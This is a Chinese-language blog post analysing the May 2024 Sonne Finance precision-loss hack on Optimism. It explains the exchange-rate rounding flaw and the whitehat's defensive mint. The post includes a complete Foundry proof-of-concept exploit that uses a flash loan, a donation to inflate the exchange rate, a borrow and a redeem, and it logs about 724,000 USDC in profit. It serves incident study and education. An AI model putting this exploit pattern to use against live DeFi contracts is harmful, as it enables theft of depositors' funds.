漏洞概述5月15日Sonnefinance因为合约存在精度损失漏洞,导致被黑客盗取20millionUSD。更有趣的是,一位白帽子因为及时发现了攻击,马上通过100美金,保住了资金池里剩余的6.5million美金资产,减少了损失。这篇文章我想分析下漏洞是怎么发生的
5月15日Sonne finance因为合约存在精度损失漏洞,导致被黑客盗取20million USD。更有趣的是,一位白帽子因为及时发现了攻击,马上通过100美金,保住了资金池里剩余的6.5 million美金资产,减少了损失。 这篇文章我想分析下漏洞是怎么发生的,以及白帽子为什么用100美金就挽回了650w。 白帽子保住剩余资金池的Twitter:https://x.com/tonyke_bot/status/1790547461611860182
攻击--准备交易: https://app.blocksec.com/explorer/tx/optimism/0x45c0ccfd3ca1b4a937feebcb0f5a166c409c9e403070808835d41da40732db96 攻击--获利交易: https://app.blocksec.com/explorer/tx/optimism/0x9312ae377d7ebdf3c7c3a86f80514878deb5df51aad38b6191d55db53e42b7f0 受害合约地址:0xe3b81318b1b6776f0877c3770afddff97b9f5fe5 受害合约地址源代码:https://vscode.blockscan.com/optimism/0xe3b81318b1b6776f0877c3770afddff97b9f5fe5
solidity里没有小数点,只有向下取整。 如果A=19,B=10,那么A/B虽然等于1.9,但是因为向下取整就变成了1, 损失0.9,损失了近50%。配合闪电贷等其他条件,这个损失可以可以带来颇丰的收益。
Sonne finance是一个Optimism链上的Defi借贷平台。用户可以抵押underlying token获取cToken。也可以借出underlying Token,并可以通过提供流动性赚取利息。也支持用cToken再对其他underlying token进行借贷。目前这个平台提供13个币种(例如DAI,USDC,USDT,VELO等)作为质押或者借贷的基础货币。
exchangeRate适用于计算underlying token和Ctoken之间汇率的比例。在这个攻击案例里,underlying token是Velo Version 2,Ctoken是soVelo: 根据这段代码可知,exchangeRate除了该token初始化时给了一个初始值,其他时候: exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
通过exchangeRate可以计算出赎回的underlying token和cToken之间的关系 redeemTokens = redeemAmountIn / exchangeRate
在这里可以发现,公式1与公式2均未进行精度损失防护。 公式1中如果我恶意增大totalCash(例如闪电贷给这个池子转账),其他变量不变,会导致exchangeRate变很大。 假设原始exhangeRate为2,后来被恶意操纵为6. 公式2中,想确保redeemAmountIn等于100(想赎回100个underlying token),当exchangeRate是2时,需要销毁50个cToken。 公式2中,想确保redeemAmountIn等于100(想赎回100个underlying token),当exchangeRate骤增为6时,需要销毁16.7个cToken。再因为精度损失向下取整,16.7变成了16. 所以同样是赎回100的underlying token,攻击前需要50个cToken,攻击后只需要16个cToekn,黑客获利34个cToken。 这就是本次攻击的大概核心逻辑。 理解了核心逻辑,我们就可以通过分析黑客transaction trace捋清攻击发生始末。
第二部分的攻击主要工作是从闪电贷里贷款,然后继续通过非铸造的方式想soVelo池子里转账,抬高exchangeRate,
下面是我写的PoC,因为只是验证漏洞的存在,我没有严格按照黑客的步骤进行复制。比如黑客使用两笔交易防止抢跑发生,但是我会把所有攻击写到一个交易里。还有黑客为了套现把soVelo换成了soWETH,为了简化PoC代码,我就不换成soWETH了。 通过一次攻击,共获利 724,290 USDC,截图如下: 代码如下:
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
import "./interface.sol";
interface TimelockController {
function execute(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt) external;
}
interface Unitroller{
function enterMarkets(address[] calldata tokens) external returns(uint[] memory);
}
interface Velo {
function approve(address target, uint256 amount) external;
function transfer(address target, uint256 amount) external;
function balanceOf(address account) external returns(uint256);
}
interface SoVelo {
function mint(uint mintAmount) external returns (uint256);
function transfer(address dst, uint amount) external returns(bool);
function totalSupply() external returns(uint256);
function redeemUnderlying(uint redeemAmount) external returns (uint);
}
interface VolatileV2AMM{
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract SonneFinance is Test {
//初始化相关合约和地址
address private constant veloAddress = 0x9560e827aF36c94D2Ac33a39bCE1Fe78631088Db;
address private constant soVeloAddress= 0xe3b81318B1b6776F0877c3770AfDdFf97b9f5fE5;
address private constant unitrollerAddress = 0x60CF091cD3f50420d50fD7f707414d0DF4751C58;
address private constant volatileV2AMMAddress = 0x8134A2fDC127549480865fB8E5A9E8A8a95a54c5;
address private constant usdcAddress = 0x7F5c764cBc14f9669B88837ca1490cCa17c31607;
address private constant soUSDCAddress = 0xEC8FEa79026FfEd168cCf5C627c7f486D77b765F;
TimelockController private constant timelockController= TimelockController(0x37fF10390F22fABDc2137E428A6E6965960D60b6);
Velo private constant velo= Velo(veloAddress);
SoVelo private constant soVelo = SoVelo(soVeloAddress);
VolatileV2AMM private volatile = VolatileV2AMM(volatileV2AMMAddress);
Unitroller private unitroller = Unitroller(unitrollerAddress);
uint256 flashPoolBalance;
function setUp() external {
vm.createSelectFork("https://rpc.ankr.com/optimism", 120062493 - 1);
// deal(address(this), 1 ether)
}
function testExploit() external {
//1. 初始化soVelo市场。执行提案中规定的5笔交易。
timelockController.execute(soVeloAddress, 0,hex"fca7820b0000000000000000000000000000000000000000000000000429d069189e0000",0x0000000000000000000000000000000000000000000000000000000000000000,0x476d385370ae53ff1c1003ab3ce694f2c75ebe40422b0ba11def4846668bc84c);
timelockController.execute(soVeloAddress, 0,hex"f2b3abbd0000000000000000000000007320bd5fa56f8a7ea959a425f0c0b8cac56f741e",0x0000000000000000000000000000000000000000000000000000000000000000,0xa57973a3d5a5d99d454c54117d7d30a57a8aca089891f505f120174216edaf42);
timelockController.execute(unitrollerAddress,0,hex"55ee1fe100000000000000000000000022c7e5ce392bc951f63b68a8020b121a8e1c0fea",0x0000000000000000000000000000000000000000000000000000000000000000,0x42408274449fd7829d7fb6abe2e89a618a853acf68d1553b2f6b8b671ac443fd);
timelockController.execute(unitrollerAddress,0,hex"a76b3fda000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe5",0x0000000000000000000000000000000000000000000000000000000000000000,0xb02c80e66eae74aef841e5d998aef03d201de66590950b6353e9a28b289c8c8b);
timelockController.execute(unitrollerAddress,0,hex"e4028eee000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe500000000000000000000000000000000000000000000000004db732547630000",0x0000000000000000000000000000000000000000000000000000000000000000,0xe50459992a5c9678d53efbffbf6b95687111e5789dada996e41fea2986077bed);
velo.approve(soVeloAddress,type(uint256).max); //这里黑客图方便也给sovelo转了最大值。
//2. 借闪电贷
volatile.swap(0,35469150965253049864450449, address(this),hex"01");
}
function hook(address receiver, uint256 amount1,uint256 amount2,bytes calldata data) external{
//3. 铸造soVelo
soVelo.mint(400000001);
console.log("helloo");
//4. 接着给sovelo转钱,把所有剩余的velo都transfer给soVelo
uint256 VeloAmountOfthis = velo.balanceOf(address(this));
velo.transfer(soVeloAddress,VeloAmountOfthis);
//5. 第六步应该用soVelo去借soUSDC,实现不当获利。
address[] memory soTokens= new address[](2);
soTokens[0]=soUSDCAddress;
soTokens[1]=soVeloAddress;
unitroller.enterMarkets(soTokens);
CErc20Interface(soUSDCAddress).borrow(768947220961);
//6. 使用sovelo赎回velo
uint256 Velo_amount_of_soVelo_after_transfer = velo.balanceOf(soVeloAddress);
soVelo.redeemUnderlying(Velo_amount_of_soVelo_after_transfer-1);
//ICErc20Delegate(soVeloAddress).redeemUnderlying(Velo_amount_of_soVelo_after_transfer - 1);
//7.还闪电贷本金(velo)
velo.transfer(volatileV2AMMAddress, amount2-1);
//8. 还闪电贷利息
IERC20(usdcAddress).transfer(volatileV2AMMAddress,44656863632);
//9. 计算黑客一共赚了多少钱
uint256 Profit = IERC20(usdcAddress).balanceOf(address(this));
console.log("---------------------------------------------------");
console.log("USDC Profit from this attack: $", Profit / 10 ** 6 );
console.log("---------------------------------------------------");
}
}
攻击发生后,twitter 用户tonyke_bot 在交易 0x0a284cd 中,通过抵押 1144 个 VELO 代币(价值约100U)到 soVELO 合约中,铸造了 0.00000011 个 soVELO,阻止攻击者进一步攻击 https://twitter.com/tonyke_bot/status/1790547461611860182 公式1: exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply 因为这笔交易改变了 公式中的 totalSupply 大小和持有的 VELO 代币的数量 totalCash,而 totalSupply 增长对于计算 exchangeRate 产生的影响大于 totalCash 增长产生的影响,因此 exchangeRate 变小。 公式2: redeemTokens = redeemAmountIn / exchangeRate exchangeRate变小,redeemTokens就会变大,从1.99变回了2以上. 那么精度损失也就不存在了,黑客无法进行攻击。不过这里面具体的数值我没有进行具体的计算(例如redeemtokens到底变成了二点几,exchangeRate到底变小到多少),有兴趣的同学可以自己计算下。
一篇非常不错的中文攻击分析:https://web3caff.com/zh/archives/93534 Hanlin写的exploit:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-05/Sonne_exp.sol 官方事故报告:https://medium.com/@SonneFinance/post-mortem-sonne-finance-exploit-12f3daa82b06 Sonne finance 官网:https://sonne.finance/ 一篇openzeppelin文档,对通膨攻击/精度损失进行讲解:https://docs.openzeppelin.com/contracts/4.x/erc4626#inflation-attack
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!